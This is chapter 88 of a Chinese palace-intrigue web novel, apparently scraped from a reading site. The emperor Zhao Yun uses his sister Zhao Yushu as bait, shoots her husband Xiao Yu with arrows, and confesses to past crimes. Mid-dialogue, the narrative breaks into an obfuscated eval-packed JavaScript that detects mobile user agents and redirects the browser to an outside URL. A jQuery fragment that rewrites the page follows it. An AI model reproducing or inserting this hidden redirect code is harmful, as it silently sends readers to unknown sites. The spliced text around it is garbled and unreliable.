88. 第 88 章

作品:《公主有毒

    高环被赵昀的样子吓到了,她的眼泪像珍珠一样啪啪往下掉。


    “你这个贱妇,平时不是口口声声说爱朕吗,这就是你说的爱朕?满口谎话,你连蓉儿的一根手指头都比不上!当年你还利欲熏心,害过蓉儿的孩子!”


    赵昀从来不知道他的话有多么伤人,他最后的一句话像一把刀子扎在高环的心上,他竟然又提起了邓婉蓉。


    自己大概,永远都比不上邓婉蓉吧,高环想。


    高环哭着想要解释,但她本来就笨,心急起来,便语无伦次。


    “陛下,臣妾没有……当年是长公主殿下带我入宫的,臣妾才能有幸得见陛下一面,所以臣妾只是想报她的恩情,没有半点想要背叛陛下的意思,我当年真的没有害太子妃娘娘的孩子,呜呜呜……您信我……那是您的孩子啊,我怎么会害呢!”


    赵昀不想再让高环待在这里了,他需要与赵玉梳单独说说话,这个女人哭得他心烦。


    “把她带出去,禁足于寝宫,没有朕的旨意不得出!”


    高环被拉走了,其他人都退了出去,徒留赵玉梳与赵昀。


    “姐姐,朕就开门见山了,萧子羡到底是死是活?”


    “你现在,竟然连姐夫也不叫了,他即便是死了,也是你的姐夫。”


    “朕只问你,他是死是活?”赵昀显然没有耐心了。


    “当然死了,他的尸体,陛下不是已经见到了吗,活要见人死要见尸,陛下还有什么不满意?”


    “你少骗朕,那个尸体不是他,是也不是?”


    赵玉梳沉默了。


    “姐姐,你可真是朕的好姐姐啊,你自以为自己的计划天衣无缝,你与自己的面首在朕的眼皮子底下瞒天过海,你真以为朕会那么傻傻的被你骗吗?有一点,你并不清楚,姐夫的左手小拇指上,有一条不起眼非常小的疤,连你这个做妻子的都没注意过,那是他教朕箭术的时候,被朕的箭弄伤的,他当时还对朕说,没关系。”


    “姐夫曾身经百战,他身上的疤不计其数,但那些疤痕的样子和方向朕并不熟悉,你的面首准备的还挺齐全的,连身上的疤都能易容,但他不知道,我根本不看那些明显的疤,反正朕也不熟悉,可朕唯一熟悉的,是姐夫左手小拇指上的小疤,这个伤口只有朕和姐夫知道,可那具尸体的小拇指光滑细腻,什么都找不出来。”


    “所以,你才往酒里下药,将我软禁在藏春宫,是吗?”


    “没错,因为朕知道,事情还没完呢。”


    “十一,就当姐姐求你了,你停手吧,把别人逼到山穷水尽对你有什么好处,他要是有谋朝算位的心思他早就反了,怎么还会等到你顺利登基?”


    “那又如何?防人之心不可无。”


    赵玉梳觉得,赵昀多疑这一点的确适合当皇帝,但是会苦了别人。


    “所以呢,你现在要做什么?”


    “鱼饵以备好,就等大鱼上钩了。”


    赵玉梳瞪着他:“你拿我作饵?”


    “是,若不是姐姐如此份量的饵,又怎么能成功钓到大鱼呢,等事成了,姐姐功不可没,朕一定封你为太主,一辈子永享富贵。”


    “陛下的话还能信吗?”


    “君无戏言。”


    呵,只怕到了那个时候,赵昀下一个要除掉的,就是她了吧,赵昀容不下一个功高的外戚,自然也留不下一个喜爱权力的长公主。


    也许最终,他们姐弟,还是要流血。


    赵玉梳就这样一直被软禁着,等着萧裕什么时候犯傻,上钩。


    无论她再怎么不想与赵昀撕破脸,赵昀一直咄咄逼人,想要和和气气是不太可能了,终会有那么一天的。


    想通了这些烦恼,赵玉梳的心情格外平静。


    ……


    终于,在三个月后的某一天,宫闱动荡,萧裕像上一世一样,领兵入宫了。


    无论怎么重来,一个人的力量终究无法阻止历史的车轮滚滚向前,一个人到了相同的境地,还是会做出跟上一次一样的选择。


    那日刚好是一个月圆之夜,寂静的宫道内传来了沉重的脚步声,还有兵器声。


    赵昀将赵玉梳软禁在宫闱之中,姐弟俩的关系降到了冰点,这已经不是什么秘密了,而死里逃生的萧裕,他一直藏匿于京城内,自然也知道了这个消息。


    谢游之和李致自然看的明白,这多明显啊,软禁赵玉梳不过是赵昀的障眼法而已,他真正的目的是要引萧裕上钩,萧裕若是真的带兵闯皇城,那就是妥妥的大逆不道,有谋朝篡位之嫌,无论再怎么解释,他入宫是为了营救长公主殿下,他都要因为疑似乱臣贼子被永远地钉在大齐历史的耻辱柱上,不得翻身,是忠是奸,赵昀说了算。


    何况萧裕的身份在政治上也是极其敏感,他可是外戚,任何朝代里都臭名昭著的外戚,不止在大齐,在任何一个朝代的史书里,外戚干政都是无法容忍的,是对皇室的挑衅。


    千万年后,人们只记得赵昀作为雄主是如何抵御外戚,保卫大齐江山的,后面其他政权的皇帝也会拿他做榜样。


    赵昀早就在宫墙上等待萧裕多时了,萧裕没见到赵玉梳,先见到了赵昀。


    此时此刻,赵昀与上辈子的赵洵是那么的相像,明明不是同父同母的兄弟,可他们像得萧裕都有些分不出来了,可能人只要坐在了那个位置上,都会殊途同归的,皇权的可怕就在于它会把许多不一样的人都变成一个样子,都那么狰狞可怖。


    萧裕他实在太傻了,他本来以为赵洵死了,就什么都结束了,可惜后面还有一只披着羊皮的狼,趁他不注意,再狠狠咬他一口。


    “姐夫,别来无恙,见到你平安无事,朕也能放心了。”


    萧裕不说话,他讨厌像赵昀这样虚伪的人,他们都已经兵戎相向了,还说这些不痛不痒的话做什么,他现在才发现赵昀的演技如此之好,也许若干年前,赵昀就是装得这样单纯无害,才让他毫无防备,他比赵洵还难对付,还讨厌,赵洵至少都是真刀真枪对抗。


    赵昀也不准备再跟一个将死之人废话了,他招来一旁的士兵,拿起弓和箭,拉弓搭箭,一气呵成。


    他死死盯着萧裕的胸膛,瞄准位置,然后松手。


    赵昀一共射了三支箭,只有一支射偏了些,被萧裕躲过了,另外两支箭都正好扎在萧裕的身上,他的箭术极好,无论是手法还是身形,都不再有当初的笨拙,萧裕这个师父当的称职。


    萧裕一瞬间连中两箭,单膝跪在地上,喘着粗气。


    有血顺着箭身留下来,“啪嗒,啪嗒——”在寂静的黑夜之中格外清晰。


    “姐夫怎么不说话?朕的箭术还不错吧,可有姐夫当年的风范?朕的箭术得以炉火纯青,还要感谢姐夫这么多年的教导,朕一定报答。”赵昀意气风发的看着狼狈的萧裕。


    萧裕还是不说话。


    “所有御林军全部听令……”


    “十一!”


    尖刺的女声打断了赵昀的下令,赵昀转头望去,是赵玉梳来了。


    “姐姐。”


    对于赵玉梳闯出藏春宫,赵昀并不意外,今日他的所有目光都放在了怎么对付萧裕身上,对赵玉梳的看管就松了些,赵玉梳要是再逃不出来,那就不是他冰雪聪明的姐姐。


    赵玉梳气急,跑上去推了赵昀,赵昀退了几步,似笑非笑地看着她。


    “你疯了?你这是做什么!”


    “如姐姐所见。”


    赵玉梳实在是受不了了,她讨厌皇室由于争权而生出的勾心斗角,她声嘶力竭朝着赵昀吼:“你究竟是为什么不能放他一条生路,为什么!他到底碍着你什么了!”


    “因为朕是皇帝。”赵昀用最简短的话道出了问题的本质。


    “帝王枕畔,岂容他人酣睡。”赵昀是陈述的语气,不是疑问。


    “所以,不是他死,就是我亡,姐姐,你只能选择一个。”


    赵玉梳几近崩溃,她已经没有力气再跟赵昀喊了,她累了。


    她跌跌撞撞走向楼梯,下楼,嘴里小声嘟囔着:“对,陛下说得对,我只能选一个……”


    她觉悟了,鱼和熊掌不可兼得,到了这个份上,她必须作出选择。


    她一直往下走,离萧裕越来越近,蹲下来,抱住他的身体。


    还好,是热的。


    上辈子她就没有赶上,最后只能抱住他的尸体哭。


    萧裕的右手死死攥着赵玉梳当年的玉坠子,那个他一直在战场上也要带着的玉坠子。


    城墙上的赵昀看着这一幕,道:“姐姐,所以这就是你的选择吗,你宁可跟他一起死,也不愿意继续


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093600|144572||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    与我享受荣华富贵?”


    “荣华富贵?”赵玉梳觉得自己听到了天底下最大的笑话:“萧子羡倘或真的死了,你会放过我吗?你不是一直忌惮我插手过父皇下诏吗?你不是一直觉得我醉心权力,会分你的权吗?没了萧子羡,咱们姐弟真的能和平相处吗?何必自欺欺人呢,从始至终,这一切都与子羡无关,只是你我夺权的战争而已,我不是选择了子羡,我只是选择了我自己。”


    “呵呵,姐姐终于说实话了,姐姐不是也喜欢权力吗?否则为何会杀了邓氏,姐姐你千不该万不该告诉朕父皇更改过太子,您助我上位,又有朕非名正言顺的把柄在手,朕实在留不了你。”


    “赵昀,咱们今天都把话说开了,你也不用总是拿邓婉蓉当遮羞布了,也许你是真心爱过她,但她都去了那么久了,你的那一点真心也早就什么都不剩了吧,你不过是忌惮我的野心而已,别拿死人当幌子。”


    “哼哼,朕不防再告诉你们,当年朕胳膊上的伤,其实是朕自己弄的,然后嫁祸给三哥,三哥临死前的那杯毒酒也是朕亲自送去的,难得兄弟一场,朕便亲自送他,朕在很早的时候就一心想当太子了,可是那个时候朕年纪尚小,在父皇面前也不起眼,但姐姐却深得父皇宠爱,姐夫又军功在手,所以朕便故意亲近你们,还让姐夫教朕箭术,事实证明,朕的这步棋走对了。”


    赵玉梳突然想到,当年不知怎的,朝堂上废太子的声音此起彼伏,她和子羡都以为是对方干的,还闹了个大乌龙呢,难道这也是赵昀的手笔?


    “我问你,当年朝臣突然提议废太子,可是你在背后推波助澜?”


    “姐姐,这你可就真冤枉我了,我当时人微言轻的,那些老头子怎么会听我的话呢,只能怪三哥自己命不好,谁叫他有陆氏的一半血统呢,这就怪不得我了。”


    赵玉梳相信赵昀说的是真的,现在他没必要再骗她了。


    “璎璎……”


    赵玉梳听见萧裕喊她,低下头来,查看他的伤势。


    “子羡,你撑住,这一次你会没事的,咱们都会没事的。”


    萧裕露出了一个自嘲的笑,吐出一口血来:“原来注定了,我两世,都是这个结局……”


    赵玉梳怔住了:“子羡,你……你竟然都知道,那你为什么还要来啊!为什么!你为什么不偷偷来救我,为何要如此大张旗鼓,你让我怎么救你啊!”


    “我若是偷偷潜入皇宫救你,那你可能……一辈子都回不来了,这是你的家,我知道,你即便再爱我,也不想跟我浪迹天涯,过普通人的生活,你喜欢我,也喜欢权力,正是因为我了解你,我才要正大光明地带兵入宫,你可是公主啊,我们与赵昀积怨已深,我们必须要面对他,偷偷潜进来,那是懦夫所为……”


    赵玉梳抱他更紧了些,使劲哭。


    “璎璎,有血,脏。”


    赵玉梳摇头,说什么她都不会放开的。


    “璎璎……对我来说,尚公主才是我今生的无上荣光。”


    他不后悔,依旧走向既定的结局。


    赵昀道:“既然姐姐做出了选择,那朕只好送你们两个苦命鸳鸯上路了,你们还是放弃吧,谢游之和李致也已经被御林军缠住了,没人会来救你们。”赵昀再一次接过了士兵手中的弓和箭。


    赵玉梳放开萧裕的身体,慢慢往前走,一步,两步。


    “我是公主,所以我从小到大要讨父皇的喜欢,因为只有那样,母后、五姐姐、我和你才会有好日子过,我不是天生就会察言观色,只是要为了我在乎的人去学而已;我是公主,所以没有几个男人愿意娶我,我也明白自己的婚姻从来不是属于自己的,所以我为了让父皇如愿,自请嫁萧家;我是公主,所以我若是不想五姐姐去和亲,只能自己顶上;我是公主,所以我要防陆贵妃,防赵洵,防你,甚至是防着子羡……皇家无父子,皇家无兄弟,皇家无姐弟,皇家无亲情,我还傻傻地觉得你当皇帝之后自己会高枕无忧,看来啊,人还是要靠自己,只有自己握在手里的东西才是最真实的……”


    赵昀被她弄得烦了:“你怕不是失心疯了,在说什么乱七八糟的!”


    赵玉梳如释重负,说道:“赵昀,你也太小瞧我了,你以为,我真的不会给自己留后路吗?”


    这一次,慌张的人换成了赵昀。